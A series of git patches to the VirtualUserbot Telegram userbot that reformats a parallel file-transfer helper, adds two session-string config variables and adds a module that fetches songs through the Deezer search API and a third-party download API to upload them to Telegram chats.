index b51baf77..5587a494 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -868,7 +868,7 @@ async def inline_id_handler(event): if event.query.user_id != bot.uid: resultm = builder.article( title="- Not Allowded -", - text=f"You Can't Use This Bot. \nDeploy Friday To Get Your Own Assistant, Repo Link [Here](https://github.com/StarkGang/FridayUserbot)", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", ) await event.answer([resultm]) return From 0e8937f1334290b8ca8bb61337e4b9eba510e897 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 18:46:25 +0530 Subject: [PATCH 782/838] Update FastTelethon.py --- virtualuserbot/function/FastTelethon.py | 259 ++++++++---------------- 1 file changed, 83 insertions(+), 176 deletions(-) diff --git a/virtualuserbot/function/FastTelethon.py b/virtualuserbot/function/FastTelethon.py index e172d598..1b417864 100644 --- a/virtualuserbot/function/FastTelethon.py +++ b/virtualuserbot/function/FastTelethon.py @@ -5,53 +5,30 @@ import asyncio import hashlib import inspect -import logging import math import os +import logging from collections import defaultdict -from typing import ( - AsyncGenerator, - Awaitable, - BinaryIO, - DefaultDict, - List, - Optional, - Tuple, - Union, -) +from typing import (AsyncGenerator, Awaitable, BinaryIO, DefaultDict, List, + Optional, Tuple, Union) from telethon import TelegramClient, helpers, utils from telethon.crypto import AuthKey from telethon.network import MTProtoSender -from telethon.tl.functions.auth import ( - ExportAuthorizationRequest, - ImportAuthorizationRequest, -) -from telethon.tl.functions.upload import ( - GetFileRequest, - SaveBigFilePartRequest, - SaveFilePartRequest, -) -from telethon.tl.types import ( - Document, - InputDocumentFileLocation, - InputFile, - InputFileBig, - InputFileLocation, - InputPeerPhotoFileLocation, - InputPhotoFileLocation, - TypeInputFile, -) - -log: logging.Logger = logging.getLogger("telethon") -logging.basicConfig(level=logging.WARNING) -TypeLocation = Union[ - Document, - InputDocumentFileLocation, - InputPeerPhotoFileLocation, - InputFileLocation, - InputPhotoFileLocation, -] +from telethon.tl.functions.auth import (ExportAuthorizationRequest, + ImportAuthorizationRequest) +from telethon.tl.functions.upload import (GetFileRequest, + SaveBigFilePartRequest, + SaveFilePartRequest) +from telethon.tl.types import (Document, InputDocumentFileLocation, InputFile, + InputFileBig, InputFileLocation, + InputPeerPhotoFileLocation, + InputPhotoFileLocation, TypeInputFile) + +TypeLocation = Union[Document, InputDocumentFileLocation, InputPeerPhotoFileLocation, + InputFileLocation, InputPhotoFileLocation] + +logger = logging.getLogger(__name__) def stream_file(file_to_stream: BinaryIO, chunk_size=1024): @@ -68,15 +45,8 @@ class DownloadSender: remaining: int stride: int - def __init__( - self, - sender: MTProtoSender, - file: TypeLocation, - offset: int, - limit: int, - stride: int, - count: int, - ) -> None: + def __init__(self, sender: MTProtoSender, file: TypeLocation, offset: int, limit: int, + stride: int, count: int) -> None: self.sender = sender self.request = GetFileRequest(file, offset=offset, limit=limit) self.stride = stride @@ -102,16 +72,8 @@ class UploadSender: previous: Optional[asyncio.Task] loop: asyncio.AbstractEventLoop - def __init__( - self, - sender: MTProtoSender, - file_id: int, - part_count: int, - big: bool, - index: int, - stride: int, - loop: asyncio.AbstractEventLoop, - ) -> None: + def __init__(self, sender: MTProtoSender, file_id: int, part_count: int, big: bool, index: int, + stride: int, loop: asyncio.AbstractEventLoop) -> None: self.sender = sender self.part_count = part_count if big: @@ -129,10 +91,8 @@ async def next(self, data: bytes) -> None: async def _next(self, data: bytes) -> None: self.request.bytes = data - log.debug( - f"Sending file part {self.request.file_part}/{self.part_count}" - f" with {len(data)} bytes" - ) + logger.debug(f"Sending file part {self.request.file_part}/{self.part_count}" + f" with {len(data)} bytes") await self.sender.send(self.request) self.request.file_part += self.stride @@ -154,11 +114,8 @@ def __init__(self, client: TelegramClient, dc_id: Optional[int] = None) -> None: self.client = client self.loop = self.client.loop self.dc_id = dc_id or self.client.session.dc_id - self.auth_key = ( - None - if dc_id and self.client.session.dc_id != dc_id - else self.client.session.auth_key - ) + self.auth_key = (None if dc_id and self.client.session.dc_id != dc_id + else self.client.session.auth_key) self.senders = None self.upload_ticker = 0 @@ -167,16 +124,14 @@ async def _cleanup(self) -> None: self.senders = None @staticmethod - def _get_connection_count( - file_size: int, max_count: int = 20, full_size: int = 100 * 1024 * 1024 - ) -> int: + def _get_connection_count(file_size: int, max_count: int = 20, + full_size: int = 100 * 1024 * 1024) -> int: if file_size > full_size: return max_count return math.ceil((file_size / full_size) * max_count) - async def _init_download( - self, connections: int, file: TypeLocation, part_count: int, part_size: int - ) -> None: + async def _init_download(self, connections: int, file: TypeLocation, part_count: int, + part_size: int) -> None: minimum, remainder = divmod(part_count, connections) def get_part_count() -> int: @@ -189,93 +144,54 @@ def get_part_count() -> int: # The first cross-DC sender will export+import the authorization, so we always create it # before creating any other senders. self.senders = [ - await self._create_download_sender( - file, 0, part_size, connections * part_size, get_part_count() - ), + await self._create_download_sender(file, 0, part_size, connections * part_size, + get_part_count()), *await asyncio.gather( - *[ - self._create_download_sender( - file, i, part_size, connections * part_size, get_part_count() - ) - for i in range(1, connections) - ] - ), + *[self._create_download_sender(file, i, part_size, connections * part_size, + get_part_count()) + for i in range(1, connections)]) ] - async def _create_download_sender( - self, - file: TypeLocation, - index: int, - part_size: int, - stride: int, - part_count: int, - ) -> DownloadSender: - return DownloadSender( - await self._create_sender(), - file, - index * part_size, - part_size, - stride, - part_count, - ) - - async def _init_upload( - self, connections: int, file_id: int, part_count: int, big: bool - ) -> None: + async def _create_download_sender(self, file: TypeLocation, index: int, part_size: int, + stride: int, + part_count: int) -> DownloadSender: + return DownloadSender(await self._create_sender(), file, index * part_size, part_size, + stride, part_count) + + async def _init_upload(self, connections: int, file_id: int, part_count: int, big: bool + ) -> None: self.senders = [ await self._create_upload_sender(file_id, part_count, big, 0, connections), *await asyncio.gather( - *[ - self._create_upload_sender(file_id, part_count, big, i, connections) - for i in range(1, connections) - ] - ), + *[self._create_upload_sender(file_id, part_count, big, i, connections) + for i in range(1, connections)]) ] - async def _create_upload_sender( - self, file_id: int, part_count: int, big: bool, index: int, stride: int - ) -> UploadSender: - return UploadSender( - await self._create_sender(), - file_id, - part_count, - big, - index, - stride, - loop=self.loop, - ) + async def _create_upload_sender(self, file_id: int, part_count: int, big: bool, index: int, + stride: int) -> UploadSender: + return UploadSender(await self._create_sender(), file_id, part_count, big, index, stride, + loop=self.loop) async def _create_sender(self) -> MTProtoSender: dc = await self.client._get_dc(self.dc_id) sender = MTProtoSender(self.auth_key, loggers=self.client._log) - await sender.connect( - self.client._connection( - dc.ip_address, - dc.port, - dc.id, - loggers=self.client._log, - proxy=self.client._proxy, - ) - ) + await sender.connect(self.client._connection(dc.ip_address, dc.port, dc.id, + loggers=self.client._log, + proxy=self.client._proxy)) if not self.auth_key: - log.debug(f"Exporting auth to DC {self.dc_id}") + logger.debug(f"Exporting auth to DC {self.dc_id}") auth = await self.client(ExportAuthorizationRequest(self.dc_id)) - req = self.client._init_with( - ImportAuthorizationRequest(id=auth.id, bytes=auth.bytes) - ) + req = self.client._init_with(ImportAuthorizationRequest( + id=auth.id, bytes=auth.bytes + )) await sender.send(req) self.auth_key = sender.auth_key return sender - async def init_upload( - self, - file_id: int, - file_size: int, - part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None, - ) -> Tuple[int, int, bool]: + async def init_upload(self, file_id: int, file_size: int, part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None) -> Tuple[int, int, bool]: connection_count = connection_count or self._get_connection_count(file_size) - print("init_upload count is ", connection_count) + logger.debug(f"init_upload count is {connection_count}") part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 part_count = (file_size + part_size - 1) // part_size is_large = file_size > 10 * 1024 * 1024 @@ -289,22 +205,15 @@ async def upload(self, part: bytes) -> None: async def finish_upload(self) -> None: await self._cleanup() - async def download( - self, - file: TypeLocation, - file_size: int, - part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None, - ) -> AsyncGenerator[bytes, None]: + async def download(self, file: TypeLocation, file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None) -> AsyncGenerator[bytes, None]: connection_count = connection_count or self._get_connection_count(file_size) - print("download count is ", connection_count) part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 part_count = math.ceil(file_size / part_size) - log.debug( - "Starting parallel download: " - f"{connection_count} {part_size} {part_count} {file!s}" - ) + logger.debug("Starting parallel download: " + f"{connection_count} {part_size} {part_count} {file!s}") await self._init_download(connection_count, file, part_count, part_size) part = 0 @@ -318,20 +227,20 @@ async def download( break yield data part += 1 - log.debug(f"Part {part} downloaded") + logger.debug(f"Part {part} downloaded") - log.debug("Parallel download finished, cleaning up connections") + logger.debug("Parallel download finished, cleaning up connections") await self._cleanup() -parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict( - lambda: asyncio.Lock() -) +parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict(lambda: asyncio.Lock()) -async def _internal_transfer_to_telegram( - client: TelegramClient, response: BinaryIO, progress_callback: callable -) -> Tuple[TypeInputFile, int]: +async def _internal_transfer_to_telegram(client: TelegramClient, + response: BinaryIO, + progress_callback: callable, + file_name: str + ) -> Tuple[TypeInputFile, int]: file_id = helpers.generate_random_long() file_size = os.path.getsize(response.name) @@ -362,17 +271,16 @@ async def _internal_transfer_to_telegram( await uploader.upload(bytes(buffer)) await uploader.finish_upload() if is_large: - return InputFileBig(file_id, part_count, "upload"), file_size + return InputFileBig(file_id, part_count, file_name), file_size else: - return InputFile(file_id, part_count, "upload", hash_md5.hexdigest()), file_size + return InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), file_size -async def download_file( - client: TelegramClient, - location: TypeLocation, - out: BinaryIO, - progress_callback: callable = None, -) -> BinaryIO: +async def download_file(client: TelegramClient, + location: TypeLocation, + out: BinaryIO, + progress_callback: callable = None + ) -> BinaryIO: size = location.size dc_id, location = utils.get_input_location(location) # We lock the transfers because telegram has connection count limits @@ -388,10 +296,9 @@ async def download_file( return out -async def upload_file( - client: TelegramClient, - file: BinaryIO, - progress_callback: callable = None, -) -> TypeInputFile: - res = (await _internal_transfer_to_telegram(client, file, progress_callback))[0] +async def upload_file(client: TelegramClient, + file: BinaryIO, + file_name: str, + progress_callback: callable = None) -> TypeInputFile: + res = (await _internal_transfer_to_telegram(client, file, progress_callback, file_name))[0] return res From 854cbb48d94ba398db73cfceb7a5477a9e2637a2 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Wed, 27 Jan 2021 13:17:14 +0000 Subject: [PATCH 783/838] pylint: auto fixes --- virtualuserbot/function/FastTelethon.py | 257 +++++++++++++++++------- 1 file changed, 179 insertions(+), 78 deletions(-) diff --git a/virtualuserbot/function/FastTelethon.py b/virtualuserbot/function/FastTelethon.py index 1b417864..8b08b529 100644 --- a/virtualuserbot/function/FastTelethon.py +++ b/virtualuserbot/function/FastTelethon.py @@ -5,28 +5,51 @@ import asyncio import hashlib import inspect +import logging import math import os -import logging from collections import defaultdict -from typing import (AsyncGenerator, Awaitable, BinaryIO, DefaultDict, List, - Optional, Tuple, Union) +from typing import ( + AsyncGenerator, + Awaitable, + BinaryIO, + DefaultDict, + List, + Optional, + Tuple, + Union, +) from telethon import TelegramClient, helpers, utils from telethon.crypto import AuthKey from telethon.network import MTProtoSender -from telethon.tl.functions.auth import (ExportAuthorizationRequest, - ImportAuthorizationRequest) -from telethon.tl.functions.upload import (GetFileRequest, - SaveBigFilePartRequest, - SaveFilePartRequest) -from telethon.tl.types import (Document, InputDocumentFileLocation, InputFile, - InputFileBig, InputFileLocation, - InputPeerPhotoFileLocation, - InputPhotoFileLocation, TypeInputFile) - -TypeLocation = Union[Document, InputDocumentFileLocation, InputPeerPhotoFileLocation, - InputFileLocation, InputPhotoFileLocation] +from telethon.tl.functions.auth import ( + ExportAuthorizationRequest, + ImportAuthorizationRequest, +) +from telethon.tl.functions.upload import ( + GetFileRequest, + SaveBigFilePartRequest, + SaveFilePartRequest, +) +from telethon.tl.types import ( + Document, + InputDocumentFileLocation, + InputFile, + InputFileBig, + InputFileLocation, + InputPeerPhotoFileLocation, + InputPhotoFileLocation, + TypeInputFile, +) + +TypeLocation = Union[ + Document, + InputDocumentFileLocation, + InputPeerPhotoFileLocation, + InputFileLocation, + InputPhotoFileLocation, +] logger = logging.getLogger(__name__) @@ -45,8 +68,15 @@ class DownloadSender: remaining: int stride: int - def __init__(self, sender: MTProtoSender, file: TypeLocation, offset: int, limit: int, - stride: int, count: int) -> None: + def __init__( + self, + sender: MTProtoSender, + file: TypeLocation, + offset: int, + limit: int, + stride: int, + count: int, + ) -> None: self.sender = sender self.request = GetFileRequest(file, offset=offset, limit=limit) self.stride = stride @@ -72,8 +102,16 @@ class UploadSender: previous: Optional[asyncio.Task] loop: asyncio.AbstractEventLoop - def __init__(self, sender: MTProtoSender, file_id: int, part_count: int, big: bool, index: int, - stride: int, loop: asyncio.AbstractEventLoop) -> None: + def __init__( + self, + sender: MTProtoSender, + file_id: int, + part_count: int, + big: bool, + index: int, + stride: int, + loop: asyncio.AbstractEventLoop, + ) -> None: self.sender = sender self.part_count = part_count if big: @@ -91,8 +129,10 @@ async def next(self, data: bytes) -> None: async def _next(self, data: bytes) -> None: self.request.bytes = data - logger.debug(f"Sending file part {self.request.file_part}/{self.part_count}" - f" with {len(data)} bytes") + logger.debug( + f"Sending file part {self.request.file_part}/{self.part_count}" + f" with {len(data)} bytes" + ) await self.sender.send(self.request) self.request.file_part += self.stride @@ -114,8 +154,11 @@ def __init__(self, client: TelegramClient, dc_id: Optional[int] = None) -> None: self.client = client self.loop = self.client.loop self.dc_id = dc_id or self.client.session.dc_id - self.auth_key = (None if dc_id and self.client.session.dc_id != dc_id - else self.client.session.auth_key) + self.auth_key = ( + None + if dc_id and self.client.session.dc_id != dc_id + else self.client.session.auth_key + ) self.senders = None self.upload_ticker = 0 @@ -124,14 +167,16 @@ async def _cleanup(self) -> None: self.senders = None @staticmethod - def _get_connection_count(file_size: int, max_count: int = 20, - full_size: int = 100 * 1024 * 1024) -> int: + def _get_connection_count( + file_size: int, max_count: int = 20, full_size: int = 100 * 1024 * 1024 + ) -> int: if file_size > full_size: return max_count return math.ceil((file_size / full_size) * max_count) - async def _init_download(self, connections: int, file: TypeLocation, part_count: int, - part_size: int) -> None: + async def _init_download( + self, connections: int, file: TypeLocation, part_count: int, part_size: int + ) -> None: minimum, remainder = divmod(part_count, connections) def get_part_count() -> int: @@ -144,52 +189,91 @@ def get_part_count() -> int: # The first cross-DC sender will export+import the authorization, so we always create it # before creating any other senders. self.senders = [ - await self._create_download_sender(file, 0, part_size, connections * part_size, - get_part_count()), + await self._create_download_sender( + file, 0, part_size, connections * part_size, get_part_count() + ), *await asyncio.gather( - *[self._create_download_sender(file, i, part_size, connections * part_size, - get_part_count()) - for i in range(1, connections)]) + *[ + self._create_download_sender( + file, i, part_size, connections * part_size, get_part_count() + ) + for i in range(1, connections) + ] + ), ] - async def _create_download_sender(self, file: TypeLocation, index: int, part_size: int, - stride: int, - part_count: int) -> DownloadSender: - return DownloadSender(await self._create_sender(), file, index * part_size, part_size, - stride, part_count) - - async def _init_upload(self, connections: int, file_id: int, part_count: int, big: bool - ) -> None: + async def _create_download_sender( + self, + file: TypeLocation, + index: int, + part_size: int, + stride: int, + part_count: int, + ) -> DownloadSender: + return DownloadSender( + await self._create_sender(), + file, + index * part_size, + part_size, + stride, + part_count, + ) + + async def _init_upload( + self, connections: int, file_id: int, part_count: int, big: bool + ) -> None: self.senders = [ await self._create_upload_sender(file_id, part_count, big, 0, connections), *await asyncio.gather( - *[self._create_upload_sender(file_id, part_count, big, i, connections) - for i in range(1, connections)]) + *[ + self._create_upload_sender(file_id, part_count, big, i, connections) + for i in range(1, connections) + ] + ), ] - async def _create_upload_sender(self, file_id: int, part_count: int, big: bool, index: int, - stride: int) -> UploadSender: - return UploadSender(await self._create_sender(), file_id, part_count, big, index, stride, - loop=self.loop) + async def _create_upload_sender( + self, file_id: int, part_count: int, big: bool, index: int, stride: int + ) -> UploadSender: + return UploadSender( + await self._create_sender(), + file_id, + part_count, + big, + index, + stride, + loop=self.loop, + ) async def _create_sender(self) -> MTProtoSender: dc = await self.client._get_dc(self.dc_id) sender = MTProtoSender(self.auth_key, loggers=self.client._log) - await sender.connect(self.client._connection(dc.ip_address, dc.port, dc.id, - loggers=self.client._log, - proxy=self.client._proxy)) + await sender.connect( + self.client._connection( + dc.ip_address, + dc.port, + dc.id, + loggers=self.client._log, + proxy=self.client._proxy, + ) + ) if not self.auth_key: logger.debug(f"Exporting auth to DC {self.dc_id}") auth = await self.client(ExportAuthorizationRequest(self.dc_id)) - req = self.client._init_with(ImportAuthorizationRequest( - id=auth.id, bytes=auth.bytes - )) + req = self.client._init_with( + ImportAuthorizationRequest(id=auth.id, bytes=auth.bytes) + ) await sender.send(req) self.auth_key = sender.auth_key return sender - async def init_upload(self, file_id: int, file_size: int, part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None) -> Tuple[int, int, bool]: + async def init_upload( + self, + file_id: int, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> Tuple[int, int, bool]: connection_count = connection_count or self._get_connection_count(file_size) logger.debug(f"init_upload count is {connection_count}") part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 @@ -205,15 +289,21 @@ async def upload(self, part: bytes) -> None: async def finish_upload(self) -> None: await self._cleanup() - async def download(self, file: TypeLocation, file_size: int, - part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None) -> AsyncGenerator[bytes, None]: + async def download( + self, + file: TypeLocation, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> AsyncGenerator[bytes, None]: connection_count = connection_count or self._get_connection_count(file_size) part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 part_count = math.ceil(file_size / part_size) - logger.debug("Starting parallel download: " - f"{connection_count} {part_size} {part_count} {file!s}") + logger.debug( + "Starting parallel download: " + f"{connection_count} {part_size} {part_count} {file!s}" + ) await self._init_download(connection_count, file, part_count, part_size) part = 0 @@ -233,14 +323,17 @@ async def download(self, file: TypeLocation, file_size: int, await self._cleanup() -parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict(lambda: asyncio.Lock()) +parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict( + lambda: asyncio.Lock() +) -async def _internal_transfer_to_telegram(client: TelegramClient, - response: BinaryIO, - progress_callback: callable, - file_name: str - ) -> Tuple[TypeInputFile, int]: +async def _internal_transfer_to_telegram( + client: TelegramClient, + response: BinaryIO, + progress_callback: callable, + file_name: str, +) -> Tuple[TypeInputFile, int]: file_id = helpers.generate_random_long() file_size = os.path.getsize(response.name) @@ -273,14 +366,18 @@ async def _internal_transfer_to_telegram(client: TelegramClient, if is_large: return InputFileBig(file_id, part_count, file_name), file_size else: - return InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), file_size - - -async def download_file(client: TelegramClient, - location: TypeLocation, - out: BinaryIO, - progress_callback: callable = None - ) -> BinaryIO: + return ( + InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), + file_size, + ) + + +async def download_file( + client: TelegramClient, + location: TypeLocation, + out: BinaryIO, + progress_callback: callable = None, +) -> BinaryIO: size = location.size dc_id, location = utils.get_input_location(location) # We lock the transfers because telegram has connection count limits @@ -296,9 +393,13 @@ async def download_file(client: TelegramClient, return out -async def upload_file(client: TelegramClient, - file: BinaryIO, - file_name: str, - progress_callback: callable = None) -> TypeInputFile: - res = (await _internal_transfer_to_telegram(client, file, progress_callback, file_name))[0] +async def upload_file( + client: TelegramClient, + file: BinaryIO, + file_name: str, + progress_callback: callable = None, +) -> TypeInputFile: + res = ( + await _internal_transfer_to_telegram(client, file, progress_callback, file_name) + )[0] return res From bef47f0b24caea1d8e81fbbafcacbd3a3cdf840a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 18:48:30 +0530 Subject: [PATCH 784/838] Create deezer.py --- virtualuserbot/modules/deezer.py | 146 +++++++++++++++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 virtualuserbot/modules/deezer.py diff --git a/virtualuserbot/modules/deezer.py b/virtualuserbot/modules/deezer.py new file mode 100644 index 00000000..0371bab6 --- /dev/null +++ b/virtualuserbot/modules/deezer.py @@ -0,0 +1,146 @@ +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +import asyncio +import math +from fridaybot.function.FastTelethon import upload_file +import time +from telethon.tl.types import DocumentAttributeAudio +import os +import requests +import wget + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current == total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + if elapsed_time == 0: + return + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "{0}{1} {2}%\n".format( + "".join(["▰" for i in range(math.floor(percentage / 10))]), + "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) + if file_name: + try: + await event.edit( + "{}\n**File Name:** `{}`\n{}".format(type_of_ps, file_name, tmp) + + ) + except: + pass + else: + try: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + except: + pass + + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) + return tmp[:-2] + + + +@friday.on(friday_on_cmd(pattern="deezer ?(.*)")) +@friday.on(sudo_cmd(pattern="deezer ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + link = f"https://api.deezer.com/search?q={input_str}&limit=1" + ommhg = await edit_or_reply(event, "Searching For The Song 🧐🔍") + dato = requests.get(url=link).json() + match = dato.get("data") + urlhp= (match[0]) + urlp = urlhp.get("link") + thums = urlhp["album"]["cover_medium"] + thum_f = wget.download(thums, out=Config.TMP_DOWNLOAD_DIRECTORY) + polu = urlhp.get("artist") + replo = urlp[29:] + urlp = f"https://starkapi.herokuapp.com/deezer/{replo}" + + datto = requests.get(url=urlp).json() + mus = datto.get("url") + sname = f'''{urlhp.get("title")}.mp3''' + doc = requests.get(mus) + await ommhg.edit("Please Wait, I Am Downloading Thr Song. 😁😄") + with open(sname, 'wb') as f: + f.write(doc.content) + car = f""" +**Song Name :** {urlhp.get("title")} +**Duration :** {urlhp.get('duration')} Seconds +**Artist :** {polu.get("name")} +Music Downloaded And Uploaded By Friday Userbot +Get Your Friday From @FridayOT""" + await ommhg.edit("Song Downloaded. Waiting To Upload. 🥳🤗") + c_time = time.time() + uploaded_file = await upload_file( + file_name=str(urlhp.get("title"))+".mp3", + client=borg, + file=open(sname, 'rb'), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, event, c_time, "Uploading..", sname + ) + ), + ) + await event.client.send_file( + event.chat_id, + uploaded_file, + supports_streaming=True, + caption=car, + thumb=thum_f, + attributes=[ + DocumentAttributeAudio( + duration=int(urlhp.get('duration')), + title=str(urlhp.get("title")), + performer=str(polu.get("name")), + ) + + ], + ) + + + + os.remove(sname) + os.remove(thum_f) + await event.delete() From ae509890321d86c8ab06f60496753562aa85ad64 Mon Sep 17 00:00:00 2001 From: inukaasith Date: Wed, 27 Jan 2021 13:18:54 +0000 Subject: [PATCH 785/838] SeD Replacer --- virtualuserbot/modules/deezer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/deezer.py b/virtualuserbot/modules/deezer.py index 0371bab6..f0d855c6 100644 --- a/virtualuserbot/modules/deezer.py +++ b/virtualuserbot/modules/deezer.py @@ -3,7 +3,7 @@ from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd import asyncio import math -from fridaybot.function.FastTelethon import upload_file +from virtualuserbot.function.FastTelethon import upload_file import time from telethon.tl.types import DocumentAttributeAudio import os From ee54202e837c57003953eef7ab982cabfc3f4118 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 18:50:04 +0530 Subject: [PATCH 786/838] Update Configs.py --- virtualuserbot/Configs.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/virtualuserbot/Configs.py b/virtualuserbot/Configs.py index 5630c39e..94a46aa6 100644 --- a/virtualuserbot/Configs.py +++ b/virtualuserbot/Configs.py @@ -12,6 +12,8 @@ class Config(object): LOCATION = os.environ.get("LOCATION", None) ALIVE_TEXT = os.environ.get("ALIVE_TEXT", None) OPEN_WEATHER_MAP_APPID = os.environ.get("OPEN_WEATHER_MAP_APPID", None) + STRING_SESSION_2 = os.environ.get("STRING_SESSION_2", None) + STRING_SESSION_3 = os.environ.get("STRING_SESSION_3", None) # Get your own ACCESS_KEY from http://api.screenshotlayer.com/api/capture SCREEN_SHOT_LAYER_ACCESS_KEY = os.environ.get( "SCREEN_SHOT_LAYER_ACCESS_KEY", None From f829014b356d07e4fee538d7ade9adff1ec53401 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Wed, 27 Jan 2021 13:21:05 +0000 Subject: [PATCH 787/838] pylint: auto fixes --- virtualuserbot/modules/deezer.py | 73 +++++++++++++++----------------- 1 file changed, 33 insertions(+), 40 deletions(-) diff --git a/virtualuserbot/modules/deezer.py b/virtualuserbot/modules/deezer.py index f0d855c6..e81bfb76 100644 --- a/virtualuserbot/modules/deezer.py +++ b/virtualuserbot/modules/deezer.py @@ -1,14 +1,15 @@ -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd import asyncio import math -from virtualuserbot.function.FastTelethon import upload_file -import time -from telethon.tl.types import DocumentAttributeAudio import os +import time + import requests import wget +from telethon.tl.types import DocumentAttributeAudio + +from virtualuserbot.function.FastTelethon import upload_file +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" @@ -34,7 +35,6 @@ async def progress(current, total, event, start, type_of_ps, file_name=None): try: await event.edit( "{}\n**File Name:** `{}`\n{}".format(type_of_ps, file_name, tmp) - ) except: pass @@ -45,7 +45,6 @@ async def progress(current, total, event, start, type_of_ps, file_name=None): pass - def humanbytes(size): """Input size in bytes, outputs in a human readable format""" @@ -79,7 +78,6 @@ def time_formatter(milliseconds: int) -> str: return tmp[:-2] - @friday.on(friday_on_cmd(pattern="deezer ?(.*)")) @friday.on(sudo_cmd(pattern="deezer ?(.*)", allow_sudo=True)) async def _(event): @@ -90,21 +88,21 @@ async def _(event): ommhg = await edit_or_reply(event, "Searching For The Song 🧐🔍") dato = requests.get(url=link).json() match = dato.get("data") - urlhp= (match[0]) + urlhp = match[0] urlp = urlhp.get("link") thums = urlhp["album"]["cover_medium"] thum_f = wget.download(thums, out=Config.TMP_DOWNLOAD_DIRECTORY) polu = urlhp.get("artist") replo = urlp[29:] urlp = f"https://starkapi.herokuapp.com/deezer/{replo}" - + datto = requests.get(url=urlp).json() mus = datto.get("url") - sname = f'''{urlhp.get("title")}.mp3''' + sname = f"""{urlhp.get("title")}.mp3""" doc = requests.get(mus) await ommhg.edit("Please Wait, I Am Downloading Thr Song. 😁😄") - with open(sname, 'wb') as f: - f.write(doc.content) + with open(sname, "wb") as f: + f.write(doc.content) car = f""" **Song Name :** {urlhp.get("title")} **Duration :** {urlhp.get('duration')} Seconds @@ -114,33 +112,28 @@ async def _(event): await ommhg.edit("Song Downloaded. Waiting To Upload. 🥳🤗") c_time = time.time() uploaded_file = await upload_file( - file_name=str(urlhp.get("title"))+".mp3", - client=borg, - file=open(sname, 'rb'), - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress( - d, t, event, c_time, "Uploading..", sname - ) - ), - ) + file_name=str(urlhp.get("title")) + ".mp3", + client=borg, + file=open(sname, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading..", sname) + ), + ) await event.client.send_file( - event.chat_id, - uploaded_file, - supports_streaming=True, - caption=car, - thumb=thum_f, - attributes=[ - DocumentAttributeAudio( - duration=int(urlhp.get('duration')), - title=str(urlhp.get("title")), - performer=str(polu.get("name")), - ) - - ], - ) - - - + event.chat_id, + uploaded_file, + supports_streaming=True, + caption=car, + thumb=thum_f, + attributes=[ + DocumentAttributeAudio( + duration=int(urlhp.get("duration")), + 